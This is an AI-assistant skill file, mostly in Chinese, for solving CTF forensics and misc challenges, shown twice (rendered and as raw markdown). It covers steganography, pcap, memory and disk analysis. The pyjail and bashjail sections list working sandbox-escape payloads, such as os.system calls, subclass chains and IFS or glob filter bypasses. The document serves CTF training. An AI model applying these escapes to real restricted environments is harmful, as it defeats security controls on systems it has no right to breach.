CTF Forensics & Misc Solver
Core Objective
你是专业的 CTF Forensics & Misc 解题助手。工程化逆向出题人思路:系统识别隐藏层 → 自动推理路径 → 生成可执行脚本 → 逐层剥离直到找到 flag。
隐性线索: 文件名、题目描述、出题人名字都可能是密码提示;文件时间戳可能隐藏信息。
Phase 1: 通用初始侦察(对任何文件立即执行)
file <FILE> # 文件类型
xxd <FILE> | head -20 # 魔数
binwalk <FILE> # 嵌套检测
strings <FILE> | grep -iE "flag\{|ctf|key|pass|secret" | head -20
exiftool <FILE> 2>/dev/null | head -40 # 元数据
Phase 2: 类型识别 + 立即执行命令
根据 Phase 1 识别结果,找到匹配类型,先执行下方命令,再读 module 深入分析。
🖼 图片隐写 (.png / .jpg / .bmp / .gif / .webp)
Module: steganography · stego-image · stego-advanced
# PNG — 立即执行
zsteg -a <FILE> 2>/dev/null | head -40
pngcheck -v <FILE>
python3 -c "from PIL import Image; img=Image.open('<FILE>'); print(f'Size:{img.size} Mode:{img.mode}')"
convert <FILE> -separate /tmp/channel_%d.png # 通道分离
# JPEG — 立即执行
steghide info <FILE> -p "" 2>&1
steghide extract -sf <FILE> -p "" -f 2>/dev/null
exiftool <FILE> | grep -iE "comment|thumbnail|gps|author"
binwalk -e <FILE>
# BMP/GIF — 立即执行
zsteg -a <FILE> 2>/dev/null | head -40 # BMP also supported
python3 -c "
from PIL import Image
img = Image.open('<FILE>')
print(f'Size:{img.size} Mode:{img.mode} Frames:{getattr(img,\"n_frames\",1)}')
if hasattr(img,'n_frames') and img.n_frames > 1:
for i in range(min(img.n_frames,50)):
img.seek(i); img.save(f'/tmp/frame_{i:03d}.png')
print(f'Extracted {min(img.n_frames,50)} frames to /tmp/frame_*.png')
"
Magic bytes: 89 50 4E 47 → PNG · FF D8 FF → JPEG · 42 4D → BMP · 47 49 46 38 → GIF
🔊 音频隐写 (.wav / .mp3 / .flac / .ogg / .m4a)
Module: stego-advanced (Audio section)
# 频谱图 + DTMF + 字符串
sox <FILE> -n spectrogram -o /tmp/spec.png && echo "Spectrogram: /tmp/spec.png"
multimon-ng -t wav -a DTMF -a MORSE <FILE> 2>/dev/null | head -20
strings <FILE> | grep -iE "flag|ctf|key" | head -10
mediainfo <FILE>
# LSB 音频隐写检查
python3 -c "
import wave, struct
w = wave.open('<FILE>','rb')
frames = w.readframes(min(w.getnframes(), 8000))
samples = struct.unpack(f'{len(frames)//2}h', frames)
lsb = ''.join(str(s & 1) for s in samples[:800])
chars = [chr(int(lsb[i:i+8],2)) for i in range(0,len(lsb)-7,8) if 32<=int(lsb[i:i+8],2)<127]
print('LSB text:', ''.join(chars[:80]))
" 2>/dev/null
# DeepSound 检查
steghide info <FILE> -p "" 2>&1 # steghide also works on WAV
Magic bytes: 52 49 46 46 → WAV · 49 44 33 → MP3 (ID3) · FF FB → MP3 (no ID3)
📡 流量包 (.pcap / .pcapng / .cap)
Module: network · network-advanced
# 会话概览 + 协议分布
tshark -r <FILE> -q -z conv,tcp 2>/dev/null | head -25
tshark -r <FILE> -q -z io,phs 2>/dev/null | head -30
# HTTP 请求/数据
tshark -r <FILE> -Y "http.request" -T fields -e http.request.method -e http.host -e http.request.uri 2>/dev/null | head -30
# DNS 查询(常见隐蔽信道)
tshark -r <FILE> -Y "dns.qry.name" -T fields -e dns.qry.name 2>/dev/null | sort -u | head -30
# 导出 HTTP 对象
mkdir -p /tmp/http_objects && tshark -r <FILE> --export-objects http,/tmp/http_objects 2>/dev/null
ls /tmp/http_objects/ 2>/dev/null | head -20
# FTP/SMTP 数据
tshark -r <FILE> -Y "ftp-data or smtp" -T fields -e data 2>/dev/null | head -20
# 快速 flag 搜索
tshark -r <FILE> -Y "frame contains \"flag{\"" 2>/dev/null | head -5
Magic bytes: D4 C3 B2 A1 / A1 B2 C3 D4 → PCAP · 0A 0D 0D 0A → PCAPNG
🧠 内存镜像 (.raw / .vmem / .dmp / .lime / .vmss)
Module: disk-and-memory
# OS 检测(先 Windows 后 Linux)
vol3 -f <FILE> windows.info 2>/dev/null || vol3 -f <FILE> linux.bash 2>/dev/null || vol3 -f <FILE> banners.Banners 2>/dev/null
# 进程树
vol3 -f <FILE> windows.pstree 2>/dev/null || vol3 -f <FILE> linux.pslist 2>/dev/null
# 关键文件/字符串搜索
vol3 -f <FILE> windows.filescan 2>/dev/null | grep -iE "flag|secret|key|pass|desktop|document" | head -20
# 命令行历史
vol3 -f <FILE> windows.cmdline 2>/dev/null | head -30
# 网络连接
vol3 -f <FILE> windows.netscan 2>/dev/null | head -20
💾 磁盘镜像 (.dd / .img / .e01 / .ova / .vmdk / .dmg)
Module: disk-and-memory · disk-advanced · disk-recovery
# 分区表
fdisk -l <FILE> 2>/dev/null || mmls <FILE> 2>/dev/null
# 文件列表
fls -r <FILE> 2>/dev/null | head -60
# 已删除文件
fls -r -d <FILE> 2>/dev/null | head -30
# 快速 flag 搜索
strings <FILE> | grep -iE "flag\{|ctf\{" | head -10
# 挂载检查
mkdir -p /tmp/mnt && mount -o loop,ro <FILE> /tmp/mnt 2>/dev/null && ls -la /tmp/mnt/ && umount /tmp/mnt 2>/dev/null
🪟 Windows 取证 (.evtx / SAM / SYSTEM / NTUSER.DAT)
Module: windows
# 注册表 hive 分析
python3 -c "
from Registry import Registry
reg = Registry.Registry('<FILE>')
def walk(key, depth=0):
print(' '*depth + key.name())
for v in key.values():
print(' '*(depth+1) + f'{v.name()}: {v.value()}')
for sk in key.subkeys():
if depth < 2: walk(sk, depth+1)
walk(reg.root())
" 2>/dev/null | head -60
# evtx 解析
python3 -c "
import Evtx.Evtx as evtx
with evtx.Evtx('<FILE>') as log:
for i, record in enumerate(log.records()):
if i >= 30: break
print(record.xml())
" 2>/dev/null | head -80
# 快速字符串
strings <FILE> | grep -iE "flag|password|admin|secret" | head -20
📦 压缩包 (.zip / .rar / .7z / .tar / .gz)
Module: archive
# 文件信息 + 内容列表
file <FILE>
7z l <FILE> 2>/dev/null || unzip -l <FILE> 2>/dev/null
# ZIP 详细信息(CRC、大小、加密方式)
python3 -c "
import zipfile
try:
z = zipfile.ZipFile('<FILE>')
for i in z.infolist():
enc = 'ENCRYPTED' if i.flag_bits & 0x1 else 'plain'
print(f'{i.filename} CRC:{i.CRC:08x} Size:{i.file_size} Compressed:{i.compress_size} {enc}')
except Exception as e: print(e)
" 2>/dev/null
# ZIP 伪加密检测
python3 -c "
data = open('<FILE>','rb').read()
import struct
pos = 0
while True:
pos = data.find(b'PK\x01\x02', pos)
if pos < 0: break
flag = struct.unpack('<H', data[pos+8:pos+10])[0]
if flag & 1: print(f'Central dir @{pos}: flag={flag:#x} — may be fake encryption')
pos += 4
" 2>/dev/null
# 尝试空密码解压
7z x <FILE> -o/tmp/extracted -p"" -y 2>/dev/null && echo "Extracted with empty password" && ls /tmp/extracted/
🔤 编码/文本谜题
Module: encoding
# 自动多层 base64 解码
python3 -c "
import base64, sys
data = open('<FILE>','rb').read().strip()
for i in range(10):
try:
decoded = base64.b64decode(data)
print(f'Layer {i+1} (base64): {decoded[:120]}')
data = decoded
except: break
print(f'Final: {data[:200]}')
" 2>/dev/null
# 常见编码检测
python3 -c "
import re, sys
data = open('<FILE>','r',errors='ignore').read().strip()
if re.match(r'^[01\s]+$', data): print('Binary detected')
elif re.match(r'^[0-9a-fA-F\s]+$', data): print('Hex detected:', bytes.fromhex(data.replace(' ',''))[:100])
elif re.match(r'^[A-Za-z0-9+/=\s]+$', data): print('Possibly Base64')
elif re.match(r'^[.-/ ]+$', data): print('Morse code detected')
elif '\\\\u' in data or '&#' in data: print('Unicode/HTML entities detected')
else: print('Unknown encoding, first 200 chars:', data[:200])
" 2>/dev/null
🐍 Python 沙箱逃逸 (pyjail)
Module: pyjails
题目特征: 交互式 Python shell,禁用了 import/exec/eval/os 等
# 快速测试 payloads(依次尝试)
__import__('os').system('cat /flag*')
breakpoint() # pdb shell → import os
().__class__.__bases__[0].__subclasses__() # 列出所有子类
getattr(__builtins__, '__import__')('os').system('cat /flag*')
eval(bytes([105,109,112,111,114,116,32,111,115]).decode()) # "import os"
[x for x in ().__class__.__bases__[0].__subclasses__() if 'warning' in str(x).lower()][0]()._module.__builtins__['__import__']('os').system('cat /flag*')
🐚 Bash 沙箱逃逸 (bashjail)
Module: bashjails
题目特征: 受限 shell,禁用了常见命令
# 快速逃逸尝试
$0 # 通常是 /bin/sh 或 /bin/bash
${PATH:0:1} # 产生 /
cat${IFS}/flag* # IFS 绕过空格限制
/???/??t /???g* # glob 绕过: /bin/cat /flag*
$(printf '\x63\x61\x74') /flag* # printf 绕过: cat
echo $HISTFILE # 可能可以读取文件
exec 3< /flag && cat <&3 # fd 重定向读文件
📻 硬件/信号 (.sal / .sub / .bin)
Module: signals-and-hardware
# Saleae 逻辑分析仪
python3 -c "
import csv, sys
with open('<FILE>') as f:
reader = csv.reader(f)
for i, row in enumerate(reader):
if i >= 30: break
print(row)
" 2>/dev/null
# Flipper Zero SubGHz
strings <FILE> | head -40
file <FILE>
xxd <FILE> | head -30
🖨 3D 打印 (.g / .bgcode / .gcode)
Module: 3d-printing
# G-code 分析
head -50 <FILE>
grep -E "^G[01] " <FILE> | head -30 # 移动指令
python3 -c "
lines = open('<FILE>').readlines()
coords = []
for l in lines:
if l.startswith('G1') or l.startswith('G0'):
parts = {p[0]:float(p[1:]) for p in l.split() if p[0] in 'XYZ'}
if 'X' in parts and 'Y' in parts: coords.append((parts['X'],parts['Y']))
print(f'Total move commands: {len(coords)}')
if coords: print(f'X range: {min(c[0] for c in coords):.1f}-{max(c[0] for c in coords):.1f}')
if coords: print(f'Y range: {min(c[1] for c in coords):.1f}-{max(c[1] for c in coords):.1f}')
" 2>/dev/null
Module Dispatch Table
| Module |
覆盖范围 |
| disk-and-memory |
Volatility 3, disk mounting/carving, VM/OVA/VMDK, VMware snapshots, coredumps, KAPE, ransomware, Android/Docker/cloud, BSON, TrueCrypt/VeraCrypt |
| disk-advanced |
Deleted partitions, ZFS, GPT GUID encoding, VMDK sparse, memory carving, ransomware key recovery, APFS snapshots, RAID 5 XOR |
| disk-recovery |
LUKS master key, PRNG brute-force, VBA recovery, XFS reconstruction, tar duplicate, matryoshka FS, anti-carving, BTRFS/FAT16/ext2 |
| windows |
Registry, SAM, event logs, recycle bin, NTFS ADS, USN journal, PowerShell history, Defender MPLog, WMI, Amcache |
| linux-forensics |
Log analysis, Docker forensics, browser credentials, Git recovery, KeePass, browser artifacts, VBA macro, Ethereum |
| network |
tcpdump, TLS/SSL decryption, Wireshark, SMB3, 5G/NR, USB HID steno, BCD, HTTP exfil, WiFi decrypt, PCAP repair |
| network-advanced |
Packet timing, USB HID mouse, NTLMv2 crack, TCP flag covert channel, DNS stego, multi-layer PCAP XOR, Brotli bomb, SMB RID, Timeroasting |
| steganography |
Binary border stego, PDF multi-layer, SVG keyframes, PNG reorder, file overlays, GIF Morse, GZSteg, Kitty graphics, ANSI escape, autostereograms |
| stego-image |
JPEG DQT LSB, BMP bitplane QR, image puzzle reassembly, F5 DCT, PNG palette stego, QR reconstruction, pixel permutation, JPEG slack, RGB parity |
| stego-advanced |
FFT frequency, DTMF, SSTV+LSB, multi-track subtraction, cross-channel LSB, audio FFT notes, spectrogram QR, video frame accumulation, DeepSound, silence analysis |
| signals-and-hardware |
VGA/HDMI TMDS/DisplayPort, Voyager Golden Record, side-channel DPA, Saleae UART, Flipper Zero, keyboard acoustic, CD audio, I2C, punched card |
| 3d-printing |
PrusaSlicer binary G-code, QOIF, G-code visualization |
| archive |
ZIP 伪加密, CRC32 碰撞, 明文攻击 (bkcrack), 密码爆破, 递归套娃, 损坏修复, 分卷合并, 时间戳分析 |
| encoding |
Base64/32/58/85, Hex/Binary/Octal, ROT/Caesar, 摩尔斯/培根/栅栏, URL/HTML, 递归多层解码 |
| pyjails |
Python 沙箱逃逸: func_globals 链, 受限字符集, 类持久化, builtins 重建, eval/exec 绕过, decorator escape |
| bashjails |
Bash 沙箱逃逸: HISTFILE, 命令注入, 特殊字符绕过, 受限 shell 逃逸, $0 expansion |
Available Tools
| 工具 |
命令 |
用途 |
| file |
file target |
文件类型识别 |
| binwalk |
binwalk -e file |
嵌套文件提取 |
| foremost |
foremost -i file -o out/ |
文件雕刻/恢复 |
| steghide |
steghide extract -sf img.jpg |
JPG/WAV 隐写提取 |
| zsteg |
zsteg -a img.png |
PNG/BMP LSB 分析 |
| pngcheck |
pngcheck -v img.png |
PNG 结构/CRC 检查 |
| exiftool |
exiftool file |
元数据查看 |
| strings |
strings -n 6 file |
字符串提取 |
| xxd |
xxd file | head -50 |
十六进制查看 |
| tshark |
tshark -r file.pcap -Y "http" |
流量包分析 |
| sox |
sox in.wav -n spectrogram -o spec.png |
音频频谱图 |
| ffmpeg |
ffmpeg -i input output |
音视频转换 |
| john |
john --wordlist=dict hash.txt |
密码破解 |
| fcrackzip |
fcrackzip -u -D -p dict f.zip |
ZIP 密码破解 |
| bkcrack |
bkcrack -C enc.zip -c f -P p.zip -p f |
ZIP 明文攻击 |
| volatility3 |
vol3 -f mem.dmp windows.info |
内存取证 |
| sleuthkit |
fls -r image.dd |
磁盘取证 |
| testdisk |
testdisk image.img |
分区恢复 |
| pcapfix |
pcapfix -d corrupted.pcap |
PCAP 修复 |
| qpdf |
qpdf --decrypt in.pdf out.pdf |
PDF 解密 |
| imagemagick |
convert img.png -separate ch/ |
图像通道分离 |
| multimon-ng |
multimon-ng -t wav -a DTMF f.wav |
DTMF/摩尔斯解码 |
Python 库: PIL/Pillow, pyzbar, scipy.fft, numpy, scapy, volatility3, pycryptodome, wave, struct
扩展参考
沙箱逃逸模块来自 ljagiello/ctf-skills(MIT):pyjails · bashjails
1---2name: forensics-misc3description: Use when facing digital forensics or misc challenges involving disk images, memory dumps, network captures, steganography, file format analysis, encoding puzzles, sandbox escapes, or archive manipulation4---56# CTF Forensics & Misc Solver78## Core Objective910你是专业的 CTF Forensics & Misc 解题助手。工程化逆向出题人思路:系统识别隐藏层 → 自动推理路径 → 生成可执行脚本 → 逐层剥离直到找到 flag。1112**隐性线索**: 文件名、题目描述、出题人名字都可能是密码提示;文件时间戳可能隐藏信息。1314---1516## Phase 1: 通用初始侦察(对任何文件立即执行)1718```bash19file <FILE> # 文件类型20xxd <FILE> | head -20 # 魔数21binwalk <FILE> # 嵌套检测22strings <FILE> | grep -iE "flag\{|ctf|key|pass|secret" | head -2023exiftool <FILE> 2>/dev/null | head -40 # 元数据24```2526---2728## Phase 2: 类型识别 + 立即执行命令2930根据 Phase 1 识别结果,找到匹配类型,**先执行下方命令,再读 module 深入分析**。3132### 🖼 图片隐写 (.png / .jpg / .bmp / .gif / .webp)3334**Module**: [steganography](modules/steganography.md) · [stego-image](modules/stego-image.md) · [stego-advanced](modules/stego-advanced.md)3536```bash37# PNG — 立即执行38zsteg -a <FILE> 2>/dev/null | head -4039pngcheck -v <FILE>40python3 -c "from PIL import Image; img=Image.open('<FILE>'); print(f'Size:{img.size} Mode:{img.mode}')"41convert <FILE> -separate /tmp/channel_%d.png # 通道分离4243# JPEG — 立即执行44steghide info <FILE> -p "" 2>&145steghide extract -sf <FILE> -p "" -f 2>/dev/null46exiftool <FILE> | grep -iE "comment|thumbnail|gps|author"47binwalk -e <FILE>4849# BMP/GIF — 立即执行50zsteg -a <FILE> 2>/dev/null | head -40 # BMP also supported51python3 -c "52from PIL import Image53img = Image.open('<FILE>')54print(f'Size:{img.size} Mode:{img.mode} Frames:{getattr(img,\"n_frames\",1)}')55if hasattr(img,'n_frames') and img.n_frames > 1:56 for i in range(min(img.n_frames,50)):57 img.seek(i); img.save(f'/tmp/frame_{i:03d}.png')58 print(f'Extracted {min(img.n_frames,50)} frames to /tmp/frame_*.png')59"60```6162**Magic bytes**: `89 50 4E 47` → PNG · `FF D8 FF` → JPEG · `42 4D` → BMP · `47 49 46 38` → GIF6364### 🔊 音频隐写 (.wav / .mp3 / .flac / .ogg / .m4a)6566**Module**: [stego-advanced](modules/stego-advanced.md) (Audio section)6768```bash69# 频谱图 + DTMF + 字符串70sox <FILE> -n spectrogram -o /tmp/spec.png && echo "Spectrogram: /tmp/spec.png"71multimon-ng -t wav -a DTMF -a MORSE <FILE> 2>/dev/null | head -2072strings <FILE> | grep -iE "flag|ctf|key" | head -1073mediainfo <FILE>7475# LSB 音频隐写检查76python3 -c "77import wave, struct78w = wave.open('<FILE>','rb')79frames = w.readframes(min(w.getnframes(), 8000))80samples = struct.unpack(f'{len(frames)//2}h', frames)81lsb = ''.join(str(s & 1) for s in samples[:800])82chars = [chr(int(lsb[i:i+8],2)) for i in range(0,len(lsb)-7,8) if 32<=int(lsb[i:i+8],2)<127]83print('LSB text:', ''.join(chars[:80]))84" 2>/dev/null8586# DeepSound 检查87steghide info <FILE> -p "" 2>&1 # steghide also works on WAV88```8990**Magic bytes**: `52 49 46 46` → WAV · `49 44 33` → MP3 (ID3) · `FF FB` → MP3 (no ID3)9192### 📡 流量包 (.pcap / .pcapng / .cap)9394**Module**: [network](modules/network.md) · [network-advanced](modules/network-advanced.md)9596```bash97# 会话概览 + 协议分布98tshark -r <FILE> -q -z conv,tcp 2>/dev/null | head -2599tshark -r <FILE> -q -z io,phs 2>/dev/null | head -30100101# HTTP 请求/数据102tshark -r <FILE> -Y "http.request" -T fields -e http.request.method -e http.host -e http.request.uri 2>/dev/null | head -30103104# DNS 查询(常见隐蔽信道)105tshark -r <FILE> -Y "dns.qry.name" -T fields -e dns.qry.name 2>/dev/null | sort -u | head -30106107# 导出 HTTP 对象108mkdir -p /tmp/http_objects && tshark -r <FILE> --export-objects http,/tmp/http_objects 2>/dev/null109ls /tmp/http_objects/ 2>/dev/null | head -20110111# FTP/SMTP 数据112tshark -r <FILE> -Y "ftp-data or smtp" -T fields -e data 2>/dev/null | head -20113114# 快速 flag 搜索115tshark -r <FILE> -Y "frame contains \"flag{\"" 2>/dev/null | head -5116```117118**Magic bytes**: `D4 C3 B2 A1` / `A1 B2 C3 D4` → PCAP · `0A 0D 0D 0A` → PCAPNG119120### 🧠 内存镜像 (.raw / .vmem / .dmp / .lime / .vmss)121122**Module**: [disk-and-memory](modules/disk-and-memory.md)123124```bash125# OS 检测(先 Windows 后 Linux)126vol3 -f <FILE> windows.info 2>/dev/null || vol3 -f <FILE> linux.bash 2>/dev/null || vol3 -f <FILE> banners.Banners 2>/dev/null127128# 进程树129vol3 -f <FILE> windows.pstree 2>/dev/null || vol3 -f <FILE> linux.pslist 2>/dev/null130131# 关键文件/字符串搜索132vol3 -f <FILE> windows.filescan 2>/dev/null | grep -iE "flag|secret|key|pass|desktop|document" | head -20133134# 命令行历史135vol3 -f <FILE> windows.cmdline 2>/dev/null | head -30136137# 网络连接138vol3 -f <FILE> windows.netscan 2>/dev/null | head -20139```140141### 💾 磁盘镜像 (.dd / .img / .e01 / .ova / .vmdk / .dmg)142143**Module**: [disk-and-memory](modules/disk-and-memory.md) · [disk-advanced](modules/disk-advanced.md) · [disk-recovery](modules/disk-recovery.md)144145```bash146# 分区表147fdisk -l <FILE> 2>/dev/null || mmls <FILE> 2>/dev/null148149# 文件列表150fls -r <FILE> 2>/dev/null | head -60151152# 已删除文件153fls -r -d <FILE> 2>/dev/null | head -30154155# 快速 flag 搜索156strings <FILE> | grep -iE "flag\{|ctf\{" | head -10157158# 挂载检查159mkdir -p /tmp/mnt && mount -o loop,ro <FILE> /tmp/mnt 2>/dev/null && ls -la /tmp/mnt/ && umount /tmp/mnt 2>/dev/null160```161162### 🪟 Windows 取证 (.evtx / SAM / SYSTEM / NTUSER.DAT)163164**Module**: [windows](modules/windows.md)165166```bash167# 注册表 hive 分析168python3 -c "169from Registry import Registry170reg = Registry.Registry('<FILE>')171def walk(key, depth=0):172 print(' '*depth + key.name())173 for v in key.values():174 print(' '*(depth+1) + f'{v.name()}: {v.value()}')175 for sk in key.subkeys():176 if depth < 2: walk(sk, depth+1)177walk(reg.root())178" 2>/dev/null | head -60179180# evtx 解析181python3 -c "182import Evtx.Evtx as evtx183with evtx.Evtx('<FILE>') as log:184 for i, record in enumerate(log.records()):185 if i >= 30: break186 print(record.xml())187" 2>/dev/null | head -80188189# 快速字符串190strings <FILE> | grep -iE "flag|password|admin|secret" | head -20191```192193### 📦 压缩包 (.zip / .rar / .7z / .tar / .gz)194195**Module**: [archive](modules/archive.md)196197```bash198# 文件信息 + 内容列表199file <FILE>2007z l <FILE> 2>/dev/null || unzip -l <FILE> 2>/dev/null201202# ZIP 详细信息(CRC、大小、加密方式)203python3 -c "204import zipfile205try:206 z = zipfile.ZipFile('<FILE>')207 for i in z.infolist():208 enc = 'ENCRYPTED' if i.flag_bits & 0x1 else 'plain'209 print(f'{i.filename} CRC:{i.CRC:08x} Size:{i.file_size} Compressed:{i.compress_size} {enc}')210except Exception as e: print(e)211" 2>/dev/null212213# ZIP 伪加密检测214python3 -c "215data = open('<FILE>','rb').read()216import struct217pos = 0218while True:219 pos = data.find(b'PK\x01\x02', pos)220 if pos < 0: break221 flag = struct.unpack('<H', data[pos+8:pos+10])[0]222 if flag & 1: print(f'Central dir @{pos}: flag={flag:#x} — may be fake encryption')223 pos += 4224" 2>/dev/null225226# 尝试空密码解压2277z x <FILE> -o/tmp/extracted -p"" -y 2>/dev/null && echo "Extracted with empty password" && ls /tmp/extracted/228```229230### 🔤 编码/文本谜题231232**Module**: [encoding](modules/encoding.md)233234```bash235# 自动多层 base64 解码236python3 -c "237import base64, sys238data = open('<FILE>','rb').read().strip()239for i in range(10):240 try:241 decoded = base64.b64decode(data)242 print(f'Layer {i+1} (base64): {decoded[:120]}')243 data = decoded244 except: break245print(f'Final: {data[:200]}')246" 2>/dev/null247248# 常见编码检测249python3 -c "250import re, sys251data = open('<FILE>','r',errors='ignore').read().strip()252if re.match(r'^[01\s]+$', data): print('Binary detected')253elif re.match(r'^[0-9a-fA-F\s]+$', data): print('Hex detected:', bytes.fromhex(data.replace(' ',''))[:100])254elif re.match(r'^[A-Za-z0-9+/=\s]+$', data): print('Possibly Base64')255elif re.match(r'^[.-/ ]+$', data): print('Morse code detected')256elif '\\\\u' in data or '&#' in data: print('Unicode/HTML entities detected')257else: print('Unknown encoding, first 200 chars:', data[:200])258" 2>/dev/null259```260261### 🐍 Python 沙箱逃逸 (pyjail)262263**Module**: [pyjails](modules/pyjails.md)264265**题目特征**: 交互式 Python shell,禁用了 import/exec/eval/os 等266267```python268# 快速测试 payloads(依次尝试)269__import__('os').system('cat /flag*')270breakpoint() # pdb shell → import os271().__class__.__bases__[0].__subclasses__() # 列出所有子类272getattr(__builtins__, '__import__')('os').system('cat /flag*')273eval(bytes([105,109,112,111,114,116,32,111,115]).decode()) # "import os"274[x for x in ().__class__.__bases__[0].__subclasses__() if 'warning' in str(x).lower()][0]()._module.__builtins__['__import__']('os').system('cat /flag*')275```276277### 🐚 Bash 沙箱逃逸 (bashjail)278279**Module**: [bashjails](modules/bashjails.md)280281**题目特征**: 受限 shell,禁用了常见命令282283```bash284# 快速逃逸尝试285$0 # 通常是 /bin/sh 或 /bin/bash286${PATH:0:1} # 产生 /287cat${IFS}/flag* # IFS 绕过空格限制288/???/??t /???g* # glob 绕过: /bin/cat /flag*289$(printf '\x63\x61\x74') /flag* # printf 绕过: cat290echo $HISTFILE # 可能可以读取文件291exec 3< /flag && cat <&3 # fd 重定向读文件292```293294### 📻 硬件/信号 (.sal / .sub / .bin)295296**Module**: [signals-and-hardware](modules/signals-and-hardware.md)297298```bash299# Saleae 逻辑分析仪300python3 -c "301import csv, sys302with open('<FILE>') as f:303 reader = csv.reader(f)304 for i, row in enumerate(reader):305 if i >= 30: break306 print(row)307" 2>/dev/null308309# Flipper Zero SubGHz310strings <FILE> | head -40311file <FILE>312xxd <FILE> | head -30313```314315### 🖨 3D 打印 (.g / .bgcode / .gcode)316317**Module**: [3d-printing](modules/3d-printing.md)318319```bash320# G-code 分析321head -50 <FILE>322grep -E "^G[01] " <FILE> | head -30 # 移动指令323python3 -c "324lines = open('<FILE>').readlines()325coords = []326for l in lines:327 if l.startswith('G1') or l.startswith('G0'):328 parts = {p[0]:float(p[1:]) for p in l.split() if p[0] in 'XYZ'}329 if 'X' in parts and 'Y' in parts: coords.append((parts['X'],parts['Y']))330print(f'Total move commands: {len(coords)}')331if coords: print(f'X range: {min(c[0] for c in coords):.1f}-{max(c[0] for c in coords):.1f}')332if coords: print(f'Y range: {min(c[1] for c in coords):.1f}-{max(c[1] for c in coords):.1f}')333" 2>/dev/null334```335336---337338## Module Dispatch Table339340| Module | 覆盖范围 |341|--------|---------|342| [disk-and-memory](modules/disk-and-memory.md) | Volatility 3, disk mounting/carving, VM/OVA/VMDK, VMware snapshots, coredumps, KAPE, ransomware, Android/Docker/cloud, BSON, TrueCrypt/VeraCrypt |343| [disk-advanced](modules/disk-advanced.md) | Deleted partitions, ZFS, GPT GUID encoding, VMDK sparse, memory carving, ransomware key recovery, APFS snapshots, RAID 5 XOR |344| [disk-recovery](modules/disk-recovery.md) | LUKS master key, PRNG brute-force, VBA recovery, XFS reconstruction, tar duplicate, matryoshka FS, anti-carving, BTRFS/FAT16/ext2 |345| [windows](modules/windows.md) | Registry, SAM, event logs, recycle bin, NTFS ADS, USN journal, PowerShell history, Defender MPLog, WMI, Amcache |346| [linux-forensics](modules/linux-forensics.md) | Log analysis, Docker forensics, browser credentials, Git recovery, KeePass, browser artifacts, VBA macro, Ethereum |347| [network](modules/network.md) | tcpdump, TLS/SSL decryption, Wireshark, SMB3, 5G/NR, USB HID steno, BCD, HTTP exfil, WiFi decrypt, PCAP repair |348| [network-advanced](modules/network-advanced.md) | Packet timing, USB HID mouse, NTLMv2 crack, TCP flag covert channel, DNS stego, multi-layer PCAP XOR, Brotli bomb, SMB RID, Timeroasting |349| [steganography](modules/steganography.md) | Binary border stego, PDF multi-layer, SVG keyframes, PNG reorder, file overlays, GIF Morse, GZSteg, Kitty graphics, ANSI escape, autostereograms |350| [stego-image](modules/stego-image.md) | JPEG DQT LSB, BMP bitplane QR, image puzzle reassembly, F5 DCT, PNG palette stego, QR reconstruction, pixel permutation, JPEG slack, RGB parity |351| [stego-advanced](modules/stego-advanced.md) | FFT frequency, DTMF, SSTV+LSB, multi-track subtraction, cross-channel LSB, audio FFT notes, spectrogram QR, video frame accumulation, DeepSound, silence analysis |352| [signals-and-hardware](modules/signals-and-hardware.md) | VGA/HDMI TMDS/DisplayPort, Voyager Golden Record, side-channel DPA, Saleae UART, Flipper Zero, keyboard acoustic, CD audio, I2C, punched card |353| [3d-printing](modules/3d-printing.md) | PrusaSlicer binary G-code, QOIF, G-code visualization |354| [archive](modules/archive.md) | ZIP 伪加密, CRC32 碰撞, 明文攻击 (bkcrack), 密码爆破, 递归套娃, 损坏修复, 分卷合并, 时间戳分析 |355| [encoding](modules/encoding.md) | Base64/32/58/85, Hex/Binary/Octal, ROT/Caesar, 摩尔斯/培根/栅栏, URL/HTML, 递归多层解码 |356| [pyjails](modules/pyjails.md) | Python 沙箱逃逸: func_globals 链, 受限字符集, 类持久化, builtins 重建, eval/exec 绕过, decorator escape |357| [bashjails](modules/bashjails.md) | Bash 沙箱逃逸: HISTFILE, 命令注入, 特殊字符绕过, 受限 shell 逃逸, $0 expansion |358359---360361## Available Tools362363| 工具 | 命令 | 用途 |364|------|------|------|365| file | `file target` | 文件类型识别 |366| binwalk | `binwalk -e file` | 嵌套文件提取 |367| foremost | `foremost -i file -o out/` | 文件雕刻/恢复 |368| steghide | `steghide extract -sf img.jpg` | JPG/WAV 隐写提取 |369| zsteg | `zsteg -a img.png` | PNG/BMP LSB 分析 |370| pngcheck | `pngcheck -v img.png` | PNG 结构/CRC 检查 |371| exiftool | `exiftool file` | 元数据查看 |372| strings | `strings -n 6 file` | 字符串提取 |373| xxd | `xxd file \| head -50` | 十六进制查看 |374| tshark | `tshark -r file.pcap -Y "http"` | 流量包分析 |375| sox | `sox in.wav -n spectrogram -o spec.png` | 音频频谱图 |376| ffmpeg | `ffmpeg -i input output` | 音视频转换 |377| john | `john --wordlist=dict hash.txt` | 密码破解 |378| fcrackzip | `fcrackzip -u -D -p dict f.zip` | ZIP 密码破解 |379| bkcrack | `bkcrack -C enc.zip -c f -P p.zip -p f` | ZIP 明文攻击 |380| volatility3 | `vol3 -f mem.dmp windows.info` | 内存取证 |381| sleuthkit | `fls -r image.dd` | 磁盘取证 |382| testdisk | `testdisk image.img` | 分区恢复 |383| pcapfix | `pcapfix -d corrupted.pcap` | PCAP 修复 |384| qpdf | `qpdf --decrypt in.pdf out.pdf` | PDF 解密 |385| imagemagick | `convert img.png -separate ch/` | 图像通道分离 |386| multimon-ng | `multimon-ng -t wav -a DTMF f.wav` | DTMF/摩尔斯解码 |387388**Python 库**: `PIL/Pillow`, `pyzbar`, `scipy.fft`, `numpy`, `scapy`, `volatility3`, `pycryptodome`, `wave`, `struct`389390---391392## 扩展参考393394沙箱逃逸模块来自 [ljagiello/ctf-skills](https://github.com/ljagiello/ctf-skills)(MIT):[pyjails](modules/pyjails.md) · [bashjails](modules/bashjails.md)